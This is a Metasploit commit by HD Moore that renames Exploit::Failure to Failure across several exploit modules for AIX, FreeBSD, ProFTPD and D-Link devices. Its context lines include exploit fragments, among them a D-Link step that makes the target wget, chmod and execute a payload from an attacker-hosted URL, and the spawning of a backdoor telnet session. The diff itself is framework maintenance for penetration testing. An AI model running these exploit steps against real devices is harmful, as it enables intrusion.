Switch to Failure vs Exploit::Failure

Author: HD Moore

modules/auxiliary/gather/apple_safari_webarchive_uxss.rb

@@ -93,7 +93,7 @@ def cleanup
 	#
 	def use_zlib
 		if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
-			fail_with(Exploit::Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!")
+			fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!")
 		end
 	end
 

modules/exploits/aix/rpc_cmsd_opcode21.rb

@@ -83,7 +83,7 @@ def brute_exploit(brute_target)
 
 		begin
 			if (not sunrpc_create('udp', 100068, 4))
-				fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
+				fail_with(Failure::Unknown, 'sunrpc_create failed')
 			end
 
 			# spray the heap a bit (work around powerpc cache issues)

modules/exploits/bsdi/softcart/mercantec_softcart.rb

@@ -72,7 +72,7 @@ def brute_exploit(address)
 				'uri'   => normalize_uri(datastore['URI'])
 			}, 5)
 			@mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
-			fail_with(Exploit::Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
+			fail_with(Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
 		end
 
 		buffer =

modules/exploits/freebsd/ftp/proftp_telnet_iac.rb

@@ -148,7 +148,7 @@ def exploit
 				print_status("FTP Banner: #{banner.strip}")
 				version = m[1]
 			else
-				fail_with(Exploit::Failure::NoTarget, "No matching target")
+				fail_with(Failure::NoTarget, "No matching target")
 			end
 
 			regexp = Regexp.escape(version)
@@ -160,14 +160,14 @@ def exploit
 			end
 
 			if (not @mytarget)
-				fail_with(Exploit::Failure::NoTarget, "No matching target")
+				fail_with(Failure::NoTarget, "No matching target")
 			end
 
 			print_status("Selected Target: #{@mytarget.name}")
 
 			pl = exploit_regenerate_payload(@mytarget.platform, arch)
 			if not pl
-				fail_with(Exploit::Failure::Unknown, 'Unable to regenerate payload!')
+				fail_with(Failure::Unknown, 'Unable to regenerate payload!')
 			end
 		else
 			print_status("Trying target #{@mytarget.name}...")

modules/exploits/freebsd/local/mmap.rb

@@ -69,7 +69,7 @@ def upload_payload
 		fname = datastore['WritableDir']
 		fname = "#{fname}/" unless fname =~ %r'/$'
 		if fname.length > 36
-			fail_with(Exploit::Failure::BadConfig, "WritableDir can't be longer than 33 characters")
+			fail_with(Failure::BadConfig, "WritableDir can't be longer than 33 characters")
 		end
 		fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}"
 
@@ -100,11 +100,11 @@ def upload_exploit(payload_fname)
 
 	def exploit
 		payload_fname = upload_payload
-		fail_with(Exploit::Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
+		fail_with(Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
 		print_status("Payload #{payload_fname} uploaded.")
 
 		exploit_fname = upload_exploit(payload_fname)
-		fail_with(Exploit::Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
+		fail_with(Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
 		print_status("Exploit #{exploit_fname} uploaded.")
 
 		register_files_for_cleanup(payload_fname, exploit_fname)

modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb

@@ -97,7 +97,7 @@ def exploit_target(t)
 		loop do
 			data = sock.get_once(-1, 5) rescue nil
 			if not data
-				fail_with(Exploit::Failure::Unknown, "This system does not support encryption")
+				fail_with(Failure::Unknown, "This system does not support encryption")
 			end
 			break if data.index("\xff\xfa\x26\x02\x01")
 		end

modules/exploits/linux/ftp/proftp_sreplace.rb

@@ -165,7 +165,7 @@ def exploit
 				print_status("FTP Banner: #{banner.strip}")
 				version = m[1]
 			else
-				fail_with(Exploit::Failure::NoTarget, "No matching target")
+				fail_with(Failure::NoTarget, "No matching target")
 			end
 
 			regexp = Regexp.escape(version)
@@ -177,7 +177,7 @@ def exploit
 			end
 
 			if (not mytarget)
-				fail_with(Exploit::Failure::NoTarget, "No matching target")
+				fail_with(Failure::NoTarget, "No matching target")
 			end
 
 			print_status("Selected Target: #{mytarget.name}")
@@ -193,7 +193,7 @@ def exploit
 
 		pwd = send_cmd(['PWD'])
 		if pwd !~ /257\s\"(.+)\"/
-			fail_with(Exploit::Failure::Unknown, "Unable to get current working directory")
+			fail_with(Failure::Unknown, "Unable to get current working directory")
 		end
 		pwd = $1
 		pwd << "/" if pwd[-1,1] != "/"

modules/exploits/linux/ftp/proftp_telnet_iac.rb

@@ -325,7 +325,7 @@ def exploit
 				print_status("FTP Banner: #{banner.strip}")
 				version = m[1]
 			else
-				fail_with(Exploit::Failure::NoTarget, "No matching target")
+				fail_with(Failure::NoTarget, "No matching target")
 			end
 
 			regexp = Regexp.escape(version)
@@ -337,7 +337,7 @@ def exploit
 			end
 
 			if (not mytarget)
-				fail_with(Exploit::Failure::NoTarget, "No matching target")
+				fail_with(Failure::NoTarget, "No matching target")
 			end
 
 			print_status("Selected Target: #{mytarget.name}")
@@ -383,7 +383,7 @@ def exploit
 		# Make sure we didn't introduce instability
 		addr_badchars = "\x09\x0a\x0b\x0c\x20"
 		if idx = Rex::Text.badchar_index(addrs, addr_badchars)
-			fail_with(Exploit::Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
+			fail_with(Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
 		end
 
 		buf << addrs
@@ -432,7 +432,7 @@ def exploit
 			end
 
 			if not session_created?
-				fail_with(Exploit::Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
+				fail_with(Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
 			end
 		else
 			sock.put(buf)

modules/exploits/linux/http/dlink_command_php_exec_noauth.rb

@@ -76,21 +76,21 @@ def exploit
 
 	def exploit_cmd
 		if not (datastore['CMD'])
-			fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
+			fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
 		end
 		cmd = "#{payload.encoded}; echo end"
 		print_status("#{rhost}:#{rport} - Sending exploit request...")
 		res = request(cmd)
 		if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux, HTTP\/1.1, DIR/)
-			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
+			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
 		end
 
 		if res.body.include?("end")
 			print_good("#{rhost}:#{rport} - Exploited successfully\n")
 			vprint_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
 			vprint_line("#{rhost}:#{rport} - Output: #{res.body}")
 		else
-			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
+			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
 		end
 
 		return
@@ -114,7 +114,7 @@ def exploit_telnet
 				print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
 				add_socket(sock)
 			else
-				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
+				fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
 			end
 
 			print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
@@ -137,7 +137,7 @@ def exploit_telnet
 			}
 			start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
 		rescue
-			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
+			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
 		end
 		return
 	end
@@ -156,7 +156,7 @@ def request(cmd)
 			})
 		return res
 		rescue ::Rex::ConnectionError
-			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
+			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
 		end
 	end
 end

modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb

@@ -102,12 +102,12 @@ def exploit
 
 		if target.name =~ /CMD/
 			if not (datastore['CMD'])
-				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
+				fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
 			end
 			cmd = payload.encoded
 			res = request(cmd,uri)
 			if (!res)
-				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
+				fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
 			end
 			print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
 			return
@@ -163,7 +163,7 @@ def exploit
 		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
 		res = request(cmd,uri)
 		if (!res)
-			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
+			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
 		end
 
 		# wait for payload download
@@ -182,7 +182,7 @@ def exploit
 		print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
 		res = request(cmd,uri)
 		if (!res)
-			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
+			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
 		end
 
 		#
@@ -192,7 +192,7 @@ def exploit
 		print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
 		res = request(cmd,uri)
 		if (!res)
-			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
+			fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
 		end
 
 	end
@@ -218,7 +218,7 @@ def wait_linux_payload
 			select(nil, nil, nil, 1)
 			waited += 1
 			if (waited > datastore['HTTP_DELAY'])
-				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
+				fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
 			end
 		end
 	end